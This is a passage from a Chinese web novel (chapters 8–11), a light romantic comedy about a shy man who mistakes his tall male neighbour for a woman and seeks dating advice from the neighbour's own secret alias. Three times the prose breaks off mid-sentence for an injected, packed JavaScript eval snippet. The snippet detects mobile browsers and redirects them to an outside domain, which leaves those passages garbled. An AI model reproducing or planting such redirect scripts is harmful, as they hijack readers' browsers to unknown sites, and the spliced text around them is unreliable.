神了个鬼的委婉啊。这呆子为什么会觉得自己是个男同,明明扑面而来的直男味。 他再次确定账号信息,披上邻居马甲,回复:“是有点难吃。” 平凡小闻那边很长的“对方正在输入”,肉眼可见是在斟酌语气思考怎么说——这是中药世家继承人从来没有过的待遇。 阕开霁看着聊天页面,等信息。 大号没等到。 小号等到了。 平凡小闻把这两句对话截图发给他,附带一个挠头的表情包,求助:“神医,接下来该怎么说啊?” 阕开霁:“……” 你问我?要我自己和自己对话? 他缓缓闭眼,回复:“你直接说给他推荐几家好吃的餐厅,把名字或地址发过去就行。” 闻根纠正:“是她。” 阕开霁:“它。” 闻根苦恼又为难:“神医,不要这么说我喜欢的女孩子。” 阕开霁:“……” 不是啊,你确定你喜欢的是女孩子? 但对上头像上平凡小闻的死鱼眼,他暴躁:“她她她。” “行了吧?” 8. 第 8 章 得到神医的改正,闻根这才舒了口气。 “谢谢神医理解。” 阕开霁:“……” 我理解不了一点。 神医都纠正代称了,闻根也就不纠结,而是根据神医刚刚的点拨开化,接着给邻居发消息:“小区附近有几家还不错的餐厅。” 他一股脑把餐厅名字发过去,一五一十的说:“这家川菜很正宗。” “这家的本帮菜很家常味道,可以经常吃。” “这家快餐店都挺好吃的,不想下楼买可以打电话让店员送到小区楼下。” Q:“谢谢。” 阕开霁看着平凡小闻发过来那么多的餐厅,即使隔着屏幕,好像也能看到满满的诚意。 他哽了一下,顺从本心:“等有时间一起去吃吧。” 平凡小闻又开始“对方正在输入”。 但一直没消息发过来。 反倒是小号,又收到了平凡小闻的信息。 “神医!她说有时间一起去吃饭,怎么回啊?” 阕开霁:“……” “你想去吗?” 平凡小闻:“想!” 阕开霁看着想字后面的感叹号,翘起嘴角:“那你直接回好就行。” 平凡小闻:“好。” 大号慢一拍收到消息:“好。” = 闻根觉得自己走上人生巅峰。 虽然莫名其妙意识到自己是个同性恋,但还没来得及彻底脱离普通人行列,就遇到了好心的网友,不仅不歧视自己,还给自己送药帮自己调理。 中药很难喝,但自己还没喝多久就遇到心动女生,确定自己的心跳还能为女生而跳动,给自己无穷是信心。 最重要的是,虽然自己普通平凡没任何优点,甚至没能像神医说的那样把土了吧唧的黑框眼镜扔远点给心动女生留下好印象,但还是如愿认识了心动女生,甚至约好了有空一起吃饭。 闻根不知道阕开霁所谓的有空是什么时候,这么多年的社会生活一再提醒他,很多人口中的有空其实就是永远没空。 但闻根莫名怀揣希望,总觉得会有那么一天。 而在那一天到来之前,他需要好好改造自己。 心动女生那么漂亮,还有一米九那么高。自己身高长相已经很不占优势了,如果再穿得很土气难看,就算和阕开霁走在一起,别人也会觉得他们是两个世界的人。 闻根坚持练习带隐形眼镜。 但眼睛有自己的想法,就是不愿意接受隐形眼镜的存在。 闻根每每把眼睛瞪到干涩流泪,还是带不上。 周末这天,他早早起床,吃过饭后窝在沙发上玩了会儿手机。 手指就像有自己的想法一样,不受控制点去小红书,找到黑名单里的Qamar,接触拉黑。 Qamar又更新了新视频。 闻根想要点开看,但想到神医给自己开的药方,想到自己和邻居约好了要一起吃的饭,最后还是没看,重新把Qamar拉黑。 但拉黑后并没有畅快,反而又有种初初戒烟时的怅然寂寞。 他索性把手机放在一边,接着练习带隐形眼镜。 最后也没带上。手机倒响了,是他妈喊他回家吃饭。 把隐形眼镜放到一边,他重新带上黑框眼镜,简单收拾了自己,穿上最普通老土的T恤长裤,推门出去。 电梯门还没彻底关上,他看到阕开霁大步流星走来电梯间。 阕开霁也看到关到一半的电梯,但没看到电梯里的人,并没有急着按停电梯。 倒是闻根,快速点着开门键。 电梯门重新开了。 阕开霁走进来:“谢谢。” 这才注意到电梯里是闻根。 巨无比老土的一身衣服,毫无穿搭可言,那双黑框眼镜好像焊死在脸上,但镜片后的眼睛却有着焦点,直直看着自己,打招呼:“嗨。” 阕开霁想到他并不美妙的误会,脸色变了变。 作为邻居,自己不知道他觉得自己是女生,作为神医,自己不知道他的邻居到底是男是女。所以虽然有联系方式,但居然没办法解释。现在面对面遇到,阕开霁有心让闻根知道自己的真实性别,刻意压着嗓子,粗声粗气:“嗨。” 闻根看他微微蹙起的眉头,随着动作晃动在肩头扫过的发梢,还有抿起的红唇,根本移不开眼。 至于听到的这个声音…… 上次她的声音虽然粗,但好像也是正常范围内的粗,和现在不太一样。 闻根关心:“你嗓子怎么了?不舒服吗?” 阕开霁对上他写满关心的眼睛,思绪一顿。 闻根更关心了:“生病了吗?我认识一个很厉害的老中医,可以帮你拿药。” 阕开霁:“……” 你说的老中医是谁?我吗? 他又看了眼闻根写满关心的眼睛。 这双死鱼眼,明明黑是黑白是白毫无波动可言,现在却满是关心和真诚,还有满满的红血丝,就连眼尾都泛着红。 他这么想,也这么问了:“我没事,你的眼怎么了?” 闻根一怔,摘下眼镜揉了揉眼。 想到自己早上那么多次的失败,他有点不好意思:“今天试着戴隐形,不小心戳到了。” 眼睛本就干涩酸疼,被这么一揉,溢出些湿润来。 反正眼镜都摘了,闻根捏着眼镜看了眼阕开霁方向,想知道自己的近视程度,够不够自己看清一米外的人。 有点模糊,看不清具体细节。 但阕开霁实在是太漂亮了,一眼看过去,身高腿长,皮肤那么白嘴唇那么红,就算看不清具体细节,也知道一定是个大美人。 他忍不住又看了一眼。 不知道是不是错觉,总觉得阕开霁也在看自己。 ——不是错觉,阕开霁确实也在看他。 一早隔着镜片就知道平凡小闻有一双很漂亮的桃花眼,眼下还有泪痣。但之前那么多次也都是隔着厚厚的镜片看到,现在对方摘了眼镜,阕开霁才发现,这双桃花眼其实比自己想象中的还要更漂亮些。 没有近视镜的阻隔,眼睛大了一圈,眼皮单薄,内双的弧度更明显一点,在眼尾拉出刚刚好的褶,好像叠在一起的桃花瓣。没有眼镜找不到焦点,瞳孔墨黑一片,像没一丝光亮的夜晚。睫毛很长,眼下那颗泪痣无处可藏,点在洁白皮肤上,像桃花瓣不经意洒下的花粉。而眼里的红血丝和眼眶的湿红,则像春天开到最红还沾了露水的花瓣,肉眼可见的软嫩。 而且……这张脸好矛盾好有趣。 眉弓是刚刚好的饱满,鼻子也很挺。偏偏可能是眼镜带了太久,山根那处被压塌下去。饱满额头眉弓和高挺鼻梁让他看上去骨相成熟,但平矮山根又带来一种幼态感。山根那边还留着被眼镜压下去的红色凹印,看上去被欺负了一样。 阕开霁还想再观察一眼,但电梯已经到一楼了。 闻根又把眼镜带上了。 有了近视镜,再看东西勉强有了焦点,但依旧没什么神采,看上去像死鱼。 闻根飞快眨眼,试图眨去眼角的湿润和不适。 阕开霁看他上下扫着的睫毛,没由来的想,这么长的睫毛,眨眼时不会划到镜片吗? = 回家吃了顿饭,期间他妈随口说起隔壁家小孩有个在一起很久的女朋友,前几天把人带回家见家长了。 他爸很是羡慕的补充:“本地独生女,和你一个学校毕业的,现在在银行上班。” 闻根闷头吃饭,应:“嗯。” 闻妈又想了想:“隔壁那家小子比你大几岁来着?” 闻根:“三岁。” 闻妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716872|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“哦,和你闻枝堂哥一样大。” 又忍不住说,“看,你闻枝堂哥也和隔壁家小子一样,现在估计也带女朋友回家商量结婚的事好了。非要追求刺激搞什么同性恋什么极限运动,现在好了吧?他一走了之了,你大伯和大伯母白发人送黑发人,这么多年都没缓过来。前几天大伯母病了住院,都没个照顾的人。要是一开始就别弄这些,好好的当个普通人……” 闻根打断:“大伯母病了?怎么也不和我说?” “子宫肌瘤,不是很严重,也就没和你说。” 闻妈妈一说起来就唠叨个没完,“在医院住着,你大伯父也没时间照顾,只能找护工,我空闲时间能去看看。你说,要是你闻枝堂哥还在,起码有个孩子在病床前照顾着……” 闻根再次试图打断:“我下午去看看大伯母。” “看什么,都出院了。等几天奶奶过生日大家聚一下,再一起吃饭算了。” “你也操点心,找个对象往家里带,让我们都高兴高兴。我们就是普通人,看到儿女幸福美满,我们也就放心了。我们普通人的快乐就这么简单。” 闻根想到自己还在喝的中药,心里发苦:“我会努力的。” 之前这么说,闻根只会闷头吃饭,时不时点头算回应。现在却说自己会努力的。 闻妈意识到什么,敏锐:“你是不是有心仪的姑娘了?” 闻根一顿,点头承认。 闻妈高兴:“喜欢就追,自由恋爱挺好。” 闻爸:“你的钱还够不够用?追女生不要不舍得花钱,平时请人家吃个饭看个电影送个包,不要抠抠搜搜的。” 闻根含糊点头:“好。” = 吃完饭回家,闻根路上收到快递小哥的电话,说他买的东西送到了,放在前台了。 ——是闻根买给中药世家继承人的礼物。 现在送到了,他给中药世家继承人发消息:“神医,给你买的礼物到了。” “你现在方便下楼拿一下吗?” 阕开霁把画到一半的设计稿放下,拿上手机下楼拿快递。 和他想的小包裹不同,是个很大的箱子,很沉,甚至需要两个快递小哥一起抬着才能拿下来。 这么大件的贵重物品需要当场拆开验收。快递小哥划开胶带把纸箱拆开,一层层拆开包装,还没把东西拿出来,前台小姐姐就“哇”了一声,惊呼:“好美。” ——是一个六十乘八十的大型蝴蝶标本,大只大只的晶闪蝶和小小的灰蝶攒在一起,错落有致,闪着迷人的炫光。 ——“你头像也是蝴蝶,你也喜欢蝴蝶吗?” 阕开霁看着这个蝴蝶标本,良久没有动作。 手机又响了。 平凡小闻给他发消息:“神医,看到快递了吗?” “看到了。” 和这三个字一起的,是一张照片。 标本已经被挂在墙上了。白亮灯光照着,玻璃里的蝴蝶翅膀闪着细碎闪光,和中药世家继承人头像上的蝴蝶一样,美好梦幻。 果然非常好看!比自己想象中还要更好看。 毕竟是帮助自己这么多的神医,还是自己找了很久才敲定下来的礼物。 闻根一方面因为神医之前对自己穿搭的抨击怀疑自己审美,担心对方不喜欢自己的礼物,一方面又是真觉得这个标本非常好看,期待收到礼物的人也会喜欢。 他激动打字:“喜欢吗?” 阕开霁:“喜欢。” 他看着平凡小闻的头像,好像透过那双死鱼眼,看到这双眼睛泛着光细细颤着的样子。 会和蝴蝶翅膀一样,炫彩梦幻。 手机弹出新消息。 “蝴蝶公主也喜欢蝴蝶,我也送她标本,她会喜欢吗?” 阕开霁:“……” 不是,你真追啊? 9. 第 9 章 神医并没有给出什么建议。 但闻根非常理解。 毕竟神医是个男人,虽然不喜欢男人是个直男,但好像大部分直男都不了解女生。而且神医和邻居素昧平生,不知道邻居会不会喜欢蝴蝶标本,也是理所当然的。 他没再询问,依旧用之前的态度和神医、邻居相处。 平时和神医的对话多一点,说自己喝的药,说自己的调理心路历程。 和邻居的对话只有一次,是那天晚上邻居突然发消息给他,说小区外面那家甜品店的核桃包味道不错。 闻根不爱吃甜食,一直知道小区外面有家甜品店,但始终没去吃过。 收到邻居发来的信息,想着对方果然是个甜甜的女孩子,平时身上都是香喷喷的甜桃味就算了,还这么喜欢甜食。 他心里激动,但不知道怎么回复邻居,笨嘴拙舌想了很久回了句“我明天去尝尝”。背地里给神医发消息感慨邻居爱吃甜品的口味非常可爱,又懊悔自己的愚笨。还异常关切询问神医爱不爱吃甜品,如果小区楼下核桃包味道不错的话,自己买了给他送过去。 彼时阕开霁刚和朋友到酒吧,核桃包垫了肚子,他非常放心的点了杯度数很高的烈酒。 酒还没调好,他先看到平凡小闻的消息。 邻居那个号得到的回复那么冷静客气,神医那个号上却好像被丢到油锅里的死鱼,支棱着弹尾巴。 他在两个号中犹豫片刻,先用邻居的号回复平凡小闻:“嗯,去尝尝吧。” 消息发出去后,他看到平凡小闻那边又是对方正在输入,觉得对方可能会像之前那么多次一样,一句话斟酌许久,又用神医的号回复小闻:“我不爱吃甜的,不用给我送。” 闻根没斟酌出来该怎么回复邻居,目光先扫到神医的回复,脑子先想出来该怎么回复神医,于是点进和神医的对话框,打字:“我也不爱吃甜的。但她说好吃,我想尝尝她喜欢的食物。” 点击发送。 阕开霁点开消息回复,根据语境判断这是平凡小闻发给神医的。 他想发个苦笑表情包表达无语。 但那条消息飞快被撤回了。 这时候,新消息又弹出来。 平凡小闻语气有点惊恐:“神医!我刚刚不小心把要发给你的信息发给蝴蝶公主了!” ——闻根把消息发出去后才发现,自己以为点了神医的对话框,但根本没点进去,那条发给神医的消息被发给了邻居。 而收到消息的阕开霁仔细看了账号信息,再看马上就要发出去的苦笑表情包,内心也跟着一提。 差点掉马。 但想到平凡小闻现在的表情,想到那双死鱼眼里可能会出现的波动,差点掉马的后怕消失不见,他翘起嘴角:“那怎么办?” 闻根的消息同时弹出来:“怎么办?” 阕开霁把前因后果尽收眼底,还要装模作样追问:“你给她发了什么?” 如果是面对面说话,闻根这时候应该都羞耻得结巴了。好在只是打字,他忍住羞耻把那句话打出来:“我说我也不爱吃甜的,但她说好吃,我想尝尝她喜欢的食物。” 阕开霁的心好像被丢到气泡水里,一层层小气泡炸开,说不出的滋味。 来了这么多次,酒吧依旧人声鼎沸,之前根本不认识的人飞快熟悉起来,玩游戏喝酒搂搂抱抱暧昧丛生。 但隔着手机,有个死鱼眼的呆子,觉得自己是个男同,天天和中药调理,还莫名其妙眼瞎把男人当女人,喜欢来得迅速又没理由,相处起来却这么纯情。 他打字:“哦。” 又切去邻居那个号,藏不住一点逗弄的心思,故作好奇:“怎么撤回了?我才看到你说不喜欢甜的,后面那句呢?” 这个号没等到闻根的回复,倒是小号上,闻根又带着截图来求助了:“神医,怎么办。” 中药世家继承人:“我也不知道,你看着回。” 闻根走投无路,绞尽脑汁自己看着回。 手指敲出几个字,又一个个删掉,最后好一会儿才回复:“没什么。” “就是,我不喜欢甜品,但你说好吃,我觉得可以尝尝。” 阕开霁闷笑。 = 后来邻居就没再主动给他发消息了,闻根以为是邻居不相信自己的借口,觉得自己不真诚在背后说人闲话。 实际上只是阕开霁担心自己不小心掉马,决定好好保护自己的马甲。 倒是后来有天又遇到了。 闻根晚上做了饭,吃了一半留一半明天吃,当天晚上都睡下了,又想到厨房里的厨余垃圾,担心现在天气热起来,蔬菜叶子腐烂会生小虫。 晚上都睡下了,又忍不住起身,去厨房把垃圾收拾好,穿着睡衣去扔垃圾。 刚把垃圾丢出去,就遇到带着酒气的阕开霁。 对方浅蓝色阔腿长裤,上面深绿色衬衣解开三颗扣子,露出锁骨胸口和白色打底背心的边。 深棕色头发随手扎成马尾,有点乱,发尾垂在脖子上。可能是喝酒的缘故,原本雪白的肌肤泛着粉,蓝灰色眼睛也像起了雾,虚虚看着他。 闻根脑子里只剩下一个成语。 活色生香。 他看了一眼酒仓促移开视线,和阕开霁打招呼:“嗨,刚回来吗?” 阕开霁也在看他。 ——平时外出穿的衣服土气难看,结果现在穿着身黑色丝绸睡衣,看上去倒是很有质感。他依旧带着黑框眼镜,眼皮垂着看上去没一点光彩,非常死鱼。但丝绸布料柔软有垂感,随着动作贴在身上,勾勒出身材曲线,倒像生机盎然的树苗。 阕开霁又发现这个呆子一个优点。 小闻虽然个子不高没有肌肉像个细狗,但身材比例不错,胳膊长腿长。 就是平时藏在他那一堆丑衣服里,被埋没了。 阕开霁揉揉眉心,应:“嗯。” “这么晚了穿睡衣出去做什么?” 如果没记错,五个小时前平凡小闻给中药世家继承人发消息说今天晚上自己做饭,三个小时前发了自己做的三菜一汤,半小时前就说要睡觉了,怎么现在还在楼下? 闻根:“扔垃圾。” 电梯里又沉默下去。 闻根闻到酒气,并不廉价刺鼻,很馥郁香醇。 他忍不住细细嗅闻,好像还能闻到酒精下香甜的桃香。酒气和甜桃掺在一起,空气里都是桃子汽水的味道。 闻根在无尽的沉默中捏紧手指,又想拿出手机问神医现在怎么办了。但他只是出来扔个垃圾,并没有拿手机。 倒是阕开霁又看了他一眼,想到每次平凡小闻遇到邻居时的反应,猜到他现在的想法——死呆子,说着追人,但一杆子闷不出个屁来,现在电梯里就两个人,连说个话都不会说。 等到回到家,又要一五一十告诉网友,再三哀叹自己不争气。 真服了,明明说喜欢的是他,结果在背后出力的都是自己。 这次再给他一个机会。 如果现在不开口,那等会儿回去他给中药世家继承人发消息,自己都不管。 阕开霁忍下冷哼的冲动,只幅度很大的别过头,马尾划过轻飘飘的弧度,发梢在闻根眼前一扫而过,带着洗发水的香幽香。 闻根短暂恍惚,依旧不知道该说什么,但下意识关心:“是不舒服吗?” 下一秒,就看到蝴蝶公主馥郁如玫瑰花瓣般的嘴角翘起。 阕开霁终于等到平凡小闻开口,心情马上好转起来,但嘴上还是装作不在意:“还好。” 闻根担心自己说太多对方会烦,但好不容易遇到又已经开了口,还是说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716873|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒前吃饭了吗?” 阕开霁:“吃了。也没喝多少。” 闻根也不喝酒,现在得到回答,马上无话可说。 正好七楼也到了,电梯开门,两人往外走。 阕开霁走在前面,闻根跟在身后,看阕开霁行走间阔腿裤脚荡出花一样的弧度。 704很快就到了,阕开霁拿钥匙开门,偏头和闻根打招呼:“晚安。” 平凡小闻的死鱼眼又泛起微光,回应:“晚安。” 又絮絮叨叨说,“如果不舒服的话,喝点蜂蜜水可能会好一点。” 阕开霁沉吟:“唔……” 闻根:“你有蜂蜜吗?” 阕开霁如实:“没。” 抱着点自己也说不清的心思,他说,“我家连热水都没有。” 善良又木木呆呆的平凡小闻表情里带着错愕,看了他好一会儿。 阕开霁好奇他会做出什么反应,也站着没动,就等他说话。 闻根摸出钥匙打开门,脑子乱乱的,试探着问阕开霁:“那来我家喝点热水?” 好像就是想等到这个答案,阕开霁心情愉悦,表面上却还是看着闻根,先看他黑框眼镜后带着紧张的死鱼眼,再扫过他扣到最上面一颗纽扣的睡衣,还有踩着拖鞋的脚。 语气慢悠悠的,带着点刻意的质询:“这么晚了,不合适吧?” 他的重音放在“晚”字上。 闻根的脸唰一下就红了。 现在就是已经很晚了,自己都打算睡了。这种时候,孤男寡女——还是自己心动的女生,女生还喝了酒,现在邀请女生去家里,好像确实有点不好。 死鱼眼瞳孔地震,好像被烹饪好摆盘上桌的红烧鱼起死回生。 闻根结结巴巴:“那……那你先回家?我烧好了水给你送过去?” 得到想要的答案和想看的反应,比喝到烂醉还要轻松愉悦的感觉。 阕开霁拨了下项链,说:“都行,只要你不觉得麻烦,去你家也没事。” 项链在拨弄下发出金属碰撞声,在空荡荡的走廊格外明显。闻根被这个声音吸引,下意识看阕开霁手上动作。 对方一米九超大只,骨骼感很重,就连手指都格外修长,指节泛着粉,项链下的锁骨也泛着粉。 锁骨上面是突出的甲状软骨,下面赤着的胸膛隐隐有起伏弧度。 闻根脸红得更厉害,匆匆低头,把门推到最开,声音因为羞耻很低:“那你进来吧。” 阕开霁就跟着进去。 都是邻居,房间是一样的布局,和自己黑灰为主色调的北欧装修风格不同,平凡小闻家里的装修非常普通温馨。阕开霁甚至看到客厅那边墙上挂着副花团锦簇的十字绣。 平凡小闻送自己的礼物是蝴蝶标本,能看出来还算有审美能力,没道理给自己家里挑装饰品就挂个花花绿绿还带蝴蝶蜜蜂的十字绣,唯一的解释就是这是家里长辈——尤其是妈妈,给布置的。 阕开霁多看了两眼。 闻根很快烧好了水,拿着水壶和杯子匆匆走出来,看到沙发的阕开霁,举起水壶:“烧好了。” 阕开霁看他把热水倒进装了蜂蜜的杯子里,随手把水壶放在桌子上,然后不停晃着玻璃杯里的水。 热水冉冉冒着热气,氤氲了平凡小闻的五官。 他轻声解释:“等晾凉一点就能喝了。” 阕开霁突然泛起点几不可查的恍惚。 闻根晃了十几下,摸着杯子里的水不烫了,就把水递过去:“喝吧。” 阕开霁:“……” 之前都是自己让他喝点药调理一下,现在有种地位互换攻守易势的感觉。 他接过水杯,把蜂蜜水吞下去。 这个动作很潇洒,就是仰头吞咽时喉结……哦,不是,是甲状软骨更明显了。 10. 第 10 章 因为那天晚上的一水之恩,蝴蝶公主打算涌泉相报,甚至主动邀请他完成上次随口说的一起吃饭的约定,这周末一起去吃饭。 ——这是闻根自己推测出来并兴致勃勃分享给神医的逻辑链。 但在当事人阕开霁眼里,就是…… 平凡小闻很木很呆很真诚,家里那个十字绣让他觑到对方普通却温馨生活的一角,他大概能明白平凡小闻为什么一定要喝中药调理好同性恋了。 虽然不理解平凡小闻为什么会发现自己是同性恋,又为什么拉黑自己。但看在他眼瞎还木的份上,自己不和他一般见识了。 找个机会出去吃个饭,让他清楚自己是个男的,别在自己身上浪费时间了。 想是这么想,但看平凡小闻给神医发消息时激动的样子,心里却总有些不对劲。 平凡小闻:“神医,到时候我就穿上次你让我守株待兔的那一身衣服,可以吗?” 阕开霁:“可以。” “还有眼镜,我再试试带隐形。” 想到上次电梯里看到的布满红血丝的桃花眼,阕开霁阻止:“不用了,带不上就不带。” “你不是说黑框眼镜不好看吗?” “没事,反正她都见过那么多次了,应该也都习惯了。” 闻根被说服了。 吃饭时间和地点是阕开霁定的,闻根提前把车洗得干干净净,等到去吃饭那天,确定阕开霁已经收拾好了,才紧张去敲阕开霁的门。 阕开霁也早就收拾好了,听到敲门声走出来。 闻根看到人,先愣了一下。 阕开霁没像前几次偶遇时那样,穿花花绿绿很好看的衣服,带各种饰品。今天的阕开霁穿一身黑,黑T黑裤白鞋,还带了渔夫帽和墨镜。 看上去…… 阕开霁注意到闻根眼神里的惊异,虽然是刻意让闻根意识到不对的,但莫名有点紧张。他问:“怎么了?” 闻根摆手:“没事。” 没了散在肩上的头发和转移注意力的项链,才发现原来对方肩膀这么宽啊。 ——不愧是她,超大只。 闻根开车带阕开霁去商场。 阕开霁提前订好了位置,过去先点上菜。 餐厅隐私性很好,座位间隔开,阕开霁坐好,把渔夫帽摘下来,一头深棕头发散下来。他把墨镜推上去,墨镜腿卡住耳后碎发,勉强把一头丝绸般的长发固定住。 闻根这才发现,阕开霁耳朵上还有耳洞。 不只是耳垂上一个,就连耳骨上也有耳洞。 这张脸实在太漂亮了,闻根遇到她的几次都不敢多看,勉强注意到穿了什么带了项链已经很细心了,现在一点都想不起来之前那么几次对方有没有带耳饰。 反正今天是没戴。 耳洞空空的,在白皙的耳垂上留下小小的凹痕。 闻根生出点说不出的怜惜。 他嘴唇微动,想说些什么。但在这只有两个人的空间,还没开口又先紧张了。他情不自禁摸出手机。 阕开霁注意到他解锁手机的动作,把自己的手机也拿出来。做好了小号收到平凡小闻求助消息的准备。 但闻根现在根本想不到其他人,就算走投无路脑子里闪过神医,也不想在和阕开霁相处的时候给其他人发消息。 他只是看了看手机,在心里打了无数次腹稿,主动询问:“你……工作是不是很忙?我之前每天六点回去,都没见到过你。” 阕开霁确定平凡小闻没问自己,也没给其他人发消息,闻言愣一下,思考自己在他面前的不同人设——神医那个人设,工作就是老中医,自己没怎么透露过现实生活。 确定马甲安全,他实话实说:“自己开的工作室,工作时间很自由。平时也没什么固定时间点。” 闻根很配合的流露出惊讶的样子,就连死鱼眼都亮了:“自己开工作室,好厉害。” 阕开霁谦虚:“没什么,就是做些饰品。” ——果然是公主!平时把自己打扮得香喷喷那么漂亮,就连工作都是设计美丽的饰品。 闻根:“就是很厉害啊。” 就和平时用神医马甲聊天一样,不管阕开霁说什么,闻根都无条件相信并真诚给出赞美。 不同的是,现在面对面坐着,不再只是屏幕上死板的几行字。阕开霁看到对方死水一样的眼睛因为自己的话努力生出波澜,能看到他思索如何回答时为难紧张的小表情。 非常…… 有趣。 吃完饭,闻根想去结账,但慢了一拍,发现阕开霁已经结过账了。 闻根当时觉得天都塌了。 第一次和喜欢的女生一起吃饭,居然是让对方结账。 他完全不知道怎么办才好,等电梯的时候,偷偷拿出手机,快速给中药世家继承人发消息求助。 “神医,我和蝴蝶公主出来吃饭了,但是她结账,怎么办?” 阕开霁感觉到手机震动,拿出来一看,目光移到旁边拿着手机紧张等回复的闻根身上,微微侧身避开对方,回复:“没事,你请她逛逛街,喝喝奶茶看看电影就好。” 收到消息的闻根恍然大悟,感谢过中药世家继承人,鼓起勇气问身边的阕开霁:“要在这边逛逛吗?” 阕开霁原本的计划就不只是吃个饭,现在很快答应:“好。” 大商场,顶楼是电影院,一楼是奢侈品,负一楼是小吃奶茶店。其他楼层乱七八糟的很多店铺。 两人一层层往下,非常随意逛着。 阕开霁就是想拖时间,再找机会向闻根证明自己是个男的。 但逛着逛着,闻根的注意力被吸引了。 是一家首饰店。 店铺装修得非常梦幻,最外面摆着最新款设计,织满蝴蝶的绢布,上面挂着琳琅满目的首饰,在灯光下闪着光。 闻根一眼看到其中一对蝴蝶耳钉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716874|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忍不住走过去。 阕开霁没想到他这种带黑框眼镜的土气审美,会被首饰店吸引。忍不住走过去:“买什么?” 闻根指着其中一对蝴蝶耳钉,看他:“你打了耳洞,买对耳钉给你吧?” 阕开霁一顿。 店铺促销员已经迎上来了:“这是我们最新款的耳钉,纯银的,上面镶的也是天然水晶。” 闻根对这些一点不了解,只是接着扫店里其他首饰。 促销员介绍:“这边都是新款,我们这一季的主题是‘从此我不敢看观音’——梁祝题材,所以很多蝴蝶元素。” 闻根已经看到了。 不管是耳饰戒指项链手链,多多少少都带着蝴蝶元素,银饰为主,各色水晶钻石镶嵌在其中,流光溢彩非常梦幻。 闻根还看到一个耳坠,是蓝闪蝶的样式,波光粼粼。 两个男生一起逛饰品店,其中一个专心给另一个挑选耳饰,专心致志好像什么都不管。另一个长发,五官很明显的混血。 促销员没有干涉闻根的挑选,只是接着介绍主题:“梁山伯死后祝英台殉情,两人一起化蝶嘛。中国传统故事,你们应该也都听说过吧。” 闻根当然知道,但没回答,而是看了眼阕开霁——吃饭的时候他也问过一点,阕开霁中俄混血,十岁后就一直在中国没再回俄罗斯,所以对中国传统文化非常了解。 阕开霁没什么表情,对着促销员冷淡点头,又对他说:“不用买,我们走吧。” 闻根怔住:“不好看吗?” 当然好看,主题是自己敲定的,设计稿自己一个个审的,第一批样品都在自己首饰盒里。 阕开霁只说:“我已经有了。” 闻根看他,有点没反应过来似的,还看着他的耳朵。 阕开霁神使鬼差:“下次带给你看。” 闻根的脸刷一下就红了。 = 两人又逛了会儿,还喝了杯奶茶。 自从离开首饰店之后,阕开霁就有点心不在焉的样子。 闻根注意到了,但不知道为什么,也不知道该怎么问,猜测他可能是累了,提出要不要回家。 阕开霁先是颔首。 又想到自己的计划还没完成,停下脚步,看闻根:“去厕所吗?” 怎么说呢。 阕开霁的计划是这样的——他问闻根要不要去厕所,闻根不可置信当即表示自己是个男的,不可能和他一起去厕所。这样自己就能理直气壮说自己也是个男的,直接告诉闻根真相。如果闻根不信,自己甚至能直接带他去厕所验明正身。 但闻根闻言只是又嘬了口奶茶,非常自然的接过阕开霁手里的东西:“我不去,给你拿着东西,你去吧。” 阕开霁:“……” 眼看阕开霁不走,闻根还非常贴心给他指路:“厕所在那边。” ——他甚至不肯说是女厕所,没给阕开霁一点纠正的机会。 11. 第 11 章 闻根回去后和神医汇报了今日和邻居一起吃饭的心得。 他发现神医最近工作可能不是很忙,原因是之前他发消息给神医,对方总是隔几个小时甚至一直到晚上才回复,但现在他发消息过去,神医要么秒回要么一小时内回复。 和神医说了今天邻居挑的餐厅味道不错,喝的果茶味道也很好可以尝试一下。又问神医,邻居的工作是饰品设计师,那自己送什么礼物才能更投其所好。 阕开霁自己也想不出来自己有什么想要的,看着平凡小闻的头像,缓了两秒,问:“你有什么想要的吗?” 闻根认真思索许久:“想要的都有了。” 他就是一个非常平凡的人,平时单位家里两点一线,衣食住行都没什么挑剔和偏好,靠看小说动漫来打发时间。没不良嗜好,工资攒下来很多,只要是想要又能买到的物品,基本都能马上满足自己。 而那些自己想要又没办法买到的…… 脑海里闪过Qamar背后的蝴蝶纹身,想到阕开霁说“下次带给你看”…… 闻根甩头摆脱这种想法,重复:“没什么想要的。” 阕开霁看闻根这一幅无所求的死鱼样,心里莫名不爽,翻了个白眼,询问:“蝴蝶公主也不想要?” 闻根:“……” 他磕磕绊绊说些政治正确的话:“她是个人,属于她自己,不是我想要就能得到的。” 阕开霁:“不想要?” 闻根艰难抵抗:“我就是一个非常平凡的人,她和我不是一个世界的人。” 阕开霁更不爽了。 什么叫不是一个世界的人?你是个人,我就不是了?嘴上说着喜欢,实际上是把自己推到另一个世界的木头。 “不想要?” 闻根:“……” 他彻底失去抵抗力:“想。” 阕开霁爽了。 